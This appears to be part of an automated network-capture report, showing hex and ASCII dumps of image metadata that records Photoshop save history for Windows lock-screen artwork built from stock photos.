49 6d 61 67 65 73 2d 36 32 33 39 36 37 30 37 34 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 
41 3b 32 30 31 36 2d 31 32 2d 33 30 54 31 31 3a 34 31 3a 31 31 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 
5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 
31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 3
1 2d 30 34 54 31 36 3a 33 39 3a 31 31 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 
31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 
Data Ascii: sh-Round2\_CHOSEN\Edge-Rewards_GettyImages-623967074_1080x1920.jpg saved&#xA;2016-12-30T
11:41:11-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved&#xA;2017-01-04T
16:39:11-08:00&#x9;File Lockscreen_1080x1920_Portrait.psd

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:56 UTC 8988 IN Data Raw: 76 65 72 5c 5f 4d 49 54 2d 4e 41 53 43 41 52 2d 46 65 62 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 36 39 30 
39 31 36 33 38 5f 31 30 38 30 78 31 39 32 30 41 30 33 39 34 30 42 43 31 37 34 33 31 37 32 35 45 43 42 37 38 44 42 33 
42 39 38 39 30 32 44 41 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 33 30 54 31 31 3a 30 32 
3a 35 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 
5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 4e 41 53 43 41 52 5c 46 65 62 72 75 61 72 
79 5c 43 48 4f 53 45 4e 5c 4d 49 54 2d 4e 41 53 43 41 52 2d 46 65 62 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 34 33 
37 36 36 36 36 35 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 
Data Ascii: ver\_MIT-NASCAR-Feb_GettyImages-469091638_1080x1920A03940BC17431725ECB78DB3B98902DA.psb 
saved&#xA;2017-01-30T11:02:58-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\NASCAR\Feb
ruary\CHOSEN\MIT-NASCAR-Feb_GettyImages-543766665_1080x1920.jpg sav

2022-08-11 03:42:56 UTC 9004 IN Data Raw: 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 
64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 30 36 54 31 33 3a 31 38 3a 34 36 2d 30 38 3a 30 30 26 
23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 
5c 43 6f 72 74 61 6e 61 5c 53 70 6f 74 6c 69 67 68 74 5c 43 48 4f 53 45 4e 5c 43 6f 72 74 61 6e 61 2d 53 70 6f 74 6c 69 
67 68 74 5f 35 30 30 70 78 2d 31 33 38 36 32 33 31 30 35 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 73 61 76 65 64 2
6 23 78 41 3b 32 30 31 37 2d 30 33 2d 30 36 54 31 33 3a 31 39 3a 31 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 
20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 
Data Ascii: ile Lockscreen_1080x1920_Portrait.psd opened&#xA;2017-03-06T13:18:46-08:00&#x9;File C:\Users\v-liz
agh\MS\Windows10\Cortana\Spotlight\CHOSEN\Cortana-Spotlight_500px-138623105_1080x1920.psd saved&#xA;2017-
03-06T13:19:18-08:00&#x9;File C:\Users\v-lizagh\MS\W

2022-08-11 03:42:56 UTC 9020 IN Data Raw: 67 5c 42 69 6e 67 41 74 57 6f 72 6b 5c 43 48 4f 53 45 4e 5c 42 69 6e 67 41 74 57 6f 72 6b 5f 47 65 74 74 79 
49 6d 61 67 65 73 2d 35 31 30 32 32 32 38 33 32 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 
41 3b 32 30 31 37 2d 30 34 2d 31 32 54 31 31 3a 35 30 3a 30 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 
5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 6
4 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 42 69 6e 
67 41 74 57 6f 72 6b 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 33 37 31 34 34 32 39 33 5f 31 30 38 30 78 31 39 32 30 3
0 39 39 45 36 30 37 34 41 43 31 42 42 33 35 41 31 34 38 39 37 31 
Data Ascii: g\BingAtWork\CHOSEN\BingAtWork_GettyImages-510222832_1080x1920.jpg saved&#xA;2017-04-12T
11:50:03-07:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecove
r\_BingAtWork_GettyImages-137144293_1080x1920099E6074AC1BB35A148971

2022-08-11 03:42:56 UTC 9027 IN Data Raw: 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 57 69 6e 64 6f 77 73 49 6e 
73 69 64 65 72 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 37 38 33 32 30 30 37 34 5f 31 30 38 30 78 31 39 32 30 35 38 31 
36 30 36 35 37 44 39 45 31 35 44 30 31 33 35 44 39 41 38 44 30 42 45 34 45 31 31 34 36 2e 70 73 62 20 73 61 76 65 64 
26 23 78 41 3b 32 30 31 37 2d 30 34 2d 32 36 54 31 31 3a 30 32 3a 30 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 
20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 4
9 6e 73 69 64 65 72 5c 43 61 6d 70 61 69 67 6e 5c 43 48 4f 53 45 4e 5c 57 69 6e 64 6f 77 73 49 6e 73 69 64 65 72 5f 47 
65 74 74 79 49 6d 61 67 65 73 2d 31 38 38 30 33 34 38 38 36 5f 31 
Data Ascii: toshop CC 2017\AutoRecover\_WindowsInsider_GettyImages-78320074_1080x192058160657D9E15D0
135D9A8D0BE4E1146.psb saved&#xA;2017-04-26T11:02:03-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Wi
ndowsInsider\Campaign\CHOSEN\WindowsInsider_GettyImages-188034886_1

2022-08-11 03:42:56 UTC 9043 IN Data Raw: 53 75 6d 6d 65 72 4d 6f 76 69 65 54 56 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 37 31 32 39 39 36 33 32 5f 
31 30 38 30 78 31 39 32 30 33 35 45 32 45 45 38 33 43 36 43 36 42 46 45 37 43 30 43 35 34 39 34 41 42 41 37 44 35 33 
43 42 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 38 54 31 30 3a 34 33 3a 32 31 2d 30 37 
3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 7
7 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 53 75 6d 6d 65 72 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 43 
68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 49 54 2d 53 75 6d 6d 65 72 4d 6f 76 69 65 54 56 5f 47 65 74 74 79 49 6d 61 67 65 
73 2d 35 32 38 35 35 32 36 36 35 5f 31 30 38 30 78 31 39 32 30 2e 
Data Ascii: SummerMovieTV_GettyImages-171299632_1080x192035E2EE83C6C6BFE7C0C5494ABA7D53CB.psb 
saved&#xA;2017-05-18T10:43:21-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\SummerEntertainm
ent\Chosen\Crops\MIT-SummerMovieTV_GettyImages-528552665_1080x1920.

2022-08-11 03:42:56 UTC 9059 IN Data Raw: 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 
37 2d 31 31 54 31 32 3a 35 37 3a 32 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 
5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 
30 37 2d 31 31 54 31 33 3a 30 30 3a 30 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 
76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 42 61 63 6
b 54 6f 53 63 68 6f 6f 6c 5c 43 68 6f 73 65 6e 5c 4d 49 54 2d 42 61 63 6b 54 6f 53 63 68 6f 6f 6c 5f 47 65 74 74 79 49 6d 
61 67 65 73 2d 31 33 36 32 34 38 32 35 30 5f 31 30 38 30 78 31 
Data Ascii: 0x1920_Portrait.psd saved&#xA;2017-07-11T12:57:23-07:00&#x9;File Lockscreen_1080x1920_Portrait.psd 
opened&#xA;2017-07-11T13:00:03-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\BackToSc
hool\Chosen\MIT-BackToSchool_GettyImages-136248250_1080x1

2022-08-11 03:42:56 UTC 9067 IN Data Raw: 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 
31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 
65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 31 38 54 31 34 3a 32 30 3a 31 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 
6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 
6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 31 38 54 31 34 3a 32 33 3a 31 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 
69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6
e 74 73 49 6e 54 69 6d 65 5c 4e 46 4c 5c 4a 75 6c 79 5c 43 68 6f 
Data Ascii: x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved&#xA;2017-07-18T14:2
0:17-07:00&#x9;File Lockscreen_1080x1920_Portrait.psd opened&#xA;2017-07-18T14:23:19-07:00&#x9;File C:\Users\v-
lizagh\MS\Windows10\MomentsInTime\NFL\July\Cho

2022-08-11 03:42:56 UTC 9083 IN Data Raw: 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 32 38 54 31 36 3a 30 39 3a 30 31 2d 30 37 3a 30 30 26 
23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 
5c 42 69 6e 67 45 64 67 65 47 72 6f 77 74 68 49 6d 61 67 65 73 5c 4c 6f 63 6b 32 30 31 37 5f 42 61 74 63 68 37 5c 43 72 
6f 70 73 5c 4c 6f 63 6b 32 30 31 37 2d 42 37 5f 53 68 65 74 6c 61 6e 64 50 6f 6e 79 73 43 6f 72 6e 77 61 6c 6c 55 4b 5f 
47 65 74 74 79 49 6d 61 67 65 73 2d 31 38 34 39 32 36 31 31 38 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 
65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 32 38 54 31 36 3a 31 37 3a 30 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 
6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 
Data Ascii: aved&#xA;2017-08-28T16:09:01-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\BingEdgeGrowt
hImages\Lock2017_Batch7\Crops\Lock2017-B7_ShetlandPonysCornwallUK_GettyImages-184926118_1080x1920.jpg 
saved&#xA;2017-08-28T16:17:03-07:00&#x9;File C:\Users\v-lizagh\Ap
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2022-08-11 03:42:56 UTC 9087 IN Data Raw: 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 45 6d 6d 79 73 5c 43 68 
6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 49 54 2d 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 2d 45 6d 6d 79 73 5f 73 68 75 74 
74 65 72 73 74 6f 63 6b 5f 34 37 33 31 37 31 39 32 30 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 
23 78 41 3b 32 30 31 37 2d 30 38 2d 33 30 54 32 31 3a 34 30 3a 34 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 
43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 
41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 
73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 
Data Ascii: \MS\Windows10\MomentsInTime\Emmys\Chosen\Crops\MIT-Entertainment-Emmys_shutterstock_4731
71920_1080x1920.jpg saved&#xA;2017-08-30T21:40:49-07:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\A
dobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1080x1920_Port

2022-08-11 03:42:56 UTC 9103 IN Data Raw: 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 
69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 
73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 30 31 54 31 33 3a 32 39 3a 33 38 2d 30 37 3a 30 30 26 
23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 
73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 30 31 54 31 33 3a 33 35 3a 32 36 2d 30 37 3a 30 30 
26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 3
0 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 43 6f 6c 6c 65 67 
Data Ascii: 7:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved&#xA;2017-11-0
1T13:29:38-07:00&#x9;File Lockscreen_1080x1920_Portrait.psd opened&#xA;2017-11-01T13:35:26-07:00&#x9;File C:\U
sers\v-lizagh\MS\Windows10\MomentsInTime\Colleg

2022-08-11 03:42:56 UTC 9119 IN Data Raw: 30 31 37 2d 31 32 2d 30 34 54 31 33 3a 33 31 3a 35 31 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 
3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 45 64 67 65 47 
72 6f 77 74 68 49 6d 61 67 65 73 5c 4c 6f 63 6b 32 30 31 37 5f 42 61 74 63 68 39 5c 43 48 4f 53 45 4e 5c 52 65 70 6c 61 
63 65 6d 65 6e 74 73 5c 4c 6f 63 6b 32 30 31 37 2d 42 39 5f 4d 61 72 6c 62 6f 72 6f 75 67 68 53 6f 75 6e 64 73 4e 65 6c 
73 6f 6e 4e 5a 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 34 38 33 33 33 30 31 38 5f 31 30 38 30 78 31 39 32 30 2e 6a 7
0 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 30 34 54 31 33 3a 33 32 3a 34 30 2d 30 38 3a 30 30 26 
23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 
Data Ascii: 017-12-04T13:31:51-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\BingEdgeGrowthImages\Lock2017_Bat
ch9\CHOSEN\Replacements\Lock2017-B9_MarlboroughSoundsNelsonNZ_GettyImages-148333018_1080x1920.jpg sa
ved&#xA;2017-12-04T13:32:40-08:00&#x9;File C:\Users\v-liz

2022-08-11 03:42:56 UTC 9127 IN Data Raw: 53 70 6f 74 6c 69 67 68 74 5f 46 59 31 38 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 53 70 6f 
74 6c 69 67 68 74 46 59 31 38 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 37 36 35 35 38 31 34 30 5f 31 30 38 30 78 31 
39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 31 34 54 31 35 3a 31 36 3a 35 36 2d 30 
38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 
6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 53 70 6f 74 6c 69 67 68 74 5f 46 59 31 38 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 
5c 4f 66 66 69 63 65 53 70 6f 74 6c 69 67 68 74 46 59 31 38 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 36 32 35 35 35 3
8 32 31 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 
Data Ascii: Spotlight_FY18\CHOSEN\Crops\OfficeSpotlightFY18_GettyImages-176558140_1080x1920.jpg save
d&#xA;2017-12-14T15:16:56-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Office\Spotlight_FY18\CHOSEN\Crops\Off
iceSpotlightFY18_GettyImages-462555821_1080x1920.jpg save

2022-08-11 03:42:56 UTC 9143 IN Data Raw: 38 2d 30 31 2d 32 34 54 31 36 3a 34 30 3a 32 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 
55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 
6d 65 5c 57 69 6e 74 65 72 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 46 65 62 32 30 31 38 5c 43 48 4f 53 45 4e 5c 43 7
2 6f 70 73 5c 4d 49 54 2d 57 69 6e 74 65 72 45 6e 74 46 65 62 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 30 37 37 38 
32 34 38 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 32 34 54 
31 37 3a 31 32 3a 30 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 
67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 
Data Ascii: 8-01-24T16:40:28-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\WinterEntertainment\F
eb2018\CHOSEN\Crops\MIT-WinterEntFeb_GettyImages-160778248_1080x1920.psd saved&#xA;2018-01-24T17:12:05-
08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MomentsI

2022-08-11 03:42:56 UTC 9159 IN Data Raw: 5c 41 77 61 72 64 53 65 61 73 6f 6e 2d 4d 6f 76 69 65 73 2d 55 4b 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 
4d 49 54 2d 41 77 61 72 64 73 53 65 61 73 6f 6e 2d 4d 6f 76 69 65 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 34 34 
39 39 30 31 38 38 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 
32 36 54 30 38 3a 34 30 3a 35 30 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 
69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 
68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 7
8 31 39 32 30 5f 50 6f 72 74 72 61 69 74 45 43 39 39 33 34 30 42 
Data Ascii: \AwardSeason-Movies-UK\CHOSEN\Crops\MIT-AwardsSeason-Movies_GettyImages-644990188_1080x1
920.jpg saved&#xA;2018-02-26T08:40:50-08:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop 
CC 2017\AutoRecover\_Lockscreen_1080x1920_PortraitEC99340B

2022-08-11 03:42:56 UTC 9167 IN Data Raw: 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 5f 5f 54 65 6d 70 6c 61 74 65 73 5c 4c 6f 63 6b 
73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 
3b 32 30 31 38 2d 30 33 2d 31 35 54 30 30 3a 34 36 3a 34 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 
6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 
41 3b 32 30 31 38 2d 30 33 2d 31 35 54 30 30 3a 35 31 3a 35 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 
5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 53 72 65 77 61 72 64 73 5c 
4c 6f 63 6b 73 63 72 65 65 6e 54 65 73 74 5c 54 72 65 61 74 6d 65 6e 
Data Ascii: lizagh\MS\Windows10\__Templates\Lockscreen_1080x1920_Portrait.psd saved&#xA;2018-03-15T00:46:47-
07:00&#x9;File Lockscreen_1080x1920_Portrait.psd opened&#xA;2018-03-15T00:51:59-07:00&#x9;File C:\Users\v-lizagh
\MS\Windows10\MSrewards\LockscreenTest\Treatmen

2022-08-11 03:42:56 UTC 9183 IN Data Raw: 44 43 34 30 44 31 34 42 46 38 31 46 30 36 43 35 32 41 32 33 31 37 44 37 32 33 44 42 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 30 34 36 31 38 37 42 30 31 33 38 39 31 37 32 41 43 42 31 41 39 37 44 34 36 37 39 37 45 
31 36 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 34 36 34 41 39 38 36 42 36 45 39 30 46 42 31 42 35 
46 34 42 31 45 45 38 42 41 43 41 30 35 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 34 36 39 42 38 43 3
3 31 37 32 43 42 43 34 37 35 30 41 33 46 34 33 30 34 44 30 31 41 35 30 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 30 34 37 30 36 34 37 37 44 43 39 36 45 33 43 38 31 46 30 45 41 45 43 44 37 41 36 33 43 30 38 32 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 34 37 43 39 36 32 45 44 
Data Ascii: DC40D14BF81F06C52A2317D723DB</rdf:li> <rdf:li>046187B01389172ACB1A97D46797E16C</rdf:li> 
<rdf:li>0464A986B6E90FB1B5F4B1EE8BACA050</rdf:li> <rdf:li>0469B8C3172CBC4750A3F4304D01A50B</rdf:li> 
<rdf:li>04706477DC96E3C81F0EAECD7A63C082</rdf:li> <rdf:li>047C962ED
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2022-08-11 03:42:56 UTC 9186 IN Data Raw: 41 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 37 46 31 31 37 34 44 30 46 41 30 43 34 33 37 
41 39 45 43 44 44 38 36 30 30 35 33 33 34 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 37 46 36 43 
35 35 32 37 45 45 39 45 32 31 44 42 44 42 38 33 46 37 35 34 39 36 38 31 42 41 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 30 38 30 43 32 35 42 38 44 46 33 33 39 31 39 36 31 35 43 44 44 32 41 39 41 36 37 46 31 43 39 35 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 38 31 35 38 31 46 36 33 35 42 41 36 43 37 43 34 33 37 41 33 32 
43 44 33 37 45 38 34 46 34 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 38 31 39 38 45 43 31 44 43 33 
45 30 35 44 38 45 38 34 36 45 42 43 33 44 45 32 33 34 42 33 46 3c 2f 72 
Data Ascii: AB</rdf:li> <rdf:li>07F1174D0FA0C437A9ECDD8600533400</rdf:li> <rdf:li>07F6C5527EE9E21DBD
B83F7549681BAD</rdf:li> <rdf:li>080C25B8DF33919615CDD2A9A67F1C95</rdf:li> <rdf:li>081581F635BA6C7C43
7A32CD37E84F40</rdf:li> <rdf:li>08198EC1DC3E05D8E846EBC3DE234B3F</r

2022-08-11 03:42:56 UTC 9202 IN Data Raw: 42 37 35 38 35 41 37 30 37 39 46 30 46 39 34 36 34 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
31 34 42 34 31 36 32 33 43 38 45 35 41 32 35 30 41 43 36 37 34 35 33 32 38 39 37 34 35 33 31 35 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 31 34 43 35 37 46 45 34 46 45 42 38 45 37 33 37 38 31 30 32 45 35 33 38 37 37 33 45 
45 44 30 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 34 43 38 42 41 31 42 34 34 38 31 32 30 31 32 33 4
4 33 30 31 34 36 30 30 41 43 33 31 33 32 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 34 44 39 45 41 30 
35 43 35 44 44 38 37 35 31 46 37 30 35 38 38 37 39 30 36 33 30 43 38 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 31 34 45 31 39 36 42 33 42 45 35 30 46 42 39 37 43 34 41 
Data Ascii: B7585A7079F0F9464F</rdf:li> <rdf:li>14B41623C8E5A250AC67453289745315</rdf:li> <rdf:li>14
C57FE4FEB8E7378102E538773EED01</rdf:li> <rdf:li>14C8BA1B448120123D3014600AC31321</rdf:li> <rdf:li>14
D9EA05C5DD8751F70588790630C883</rdf:li> <rdf:li>14E196B3BE50FB97C4A

2022-08-11 03:42:56 UTC 9218 IN Data Raw: 69 3e 32 32 43 38 35 32 46 42 32 44 42 41 30 46 30 46 38 45 35 42 39 41 30 34 39 30 37 34 37 32 34 37 3c 2f 
